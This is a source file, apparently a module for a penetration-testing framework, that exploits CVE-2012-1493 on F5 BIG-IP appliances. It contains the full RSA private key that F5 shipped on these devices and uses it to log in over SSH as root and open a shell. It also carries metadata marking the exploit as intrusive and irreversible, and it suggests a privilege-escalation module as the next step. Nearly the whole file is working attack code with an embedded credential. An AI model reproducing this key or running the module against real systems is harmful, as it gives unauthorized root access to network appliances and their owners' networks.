F5 BIG-IP SSH Private Key Exposure

from kittysploit import *
from lib.protocols.ssh.ssh_client import Ssh_client
from lib.exploit.handler import Handler

class Module(Exploit, Ssh_client, Handler):


    __info__ = {
            'name': 'F5 BIG-IP SSH Private Key Exposure',
            'description': 'F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box',
            'cve': '2012-1493',
            'payload': {
                'default':'nopayload',
                },
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires':             {'min_endpoints': 0,
             'min_params': 0,
             'tech_hints_any': [],
             'tech_hints_all': [],
             'specializations_any': [],
             'risk_signals_any': [],
             'auth_session': False,
             'capabilities_any': [],
             'capabilities_all': [],
             'confidence_min': {},
             'confidence_min_any': {},
             'endpoint_pattern_any': [],
             'param_any': [],
             'api_surface_ready': False},
            'chain':             {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
             'consumes_capabilities': [],
             'option_bindings': {},
             'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
        },
        }
    ssh_target = OptString("", "Target IPv4", "yes")
    ssh_port = OptPort(22, "Target SSH port", "yes")

    def run(self):
        key_data = """
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
        """
        client = self.open_ssh(user="root")
        connection = client.login_rsa(key_data)
        if connection:
            self.handler_ssh(connection)
        else:
            self.not_vulnerable()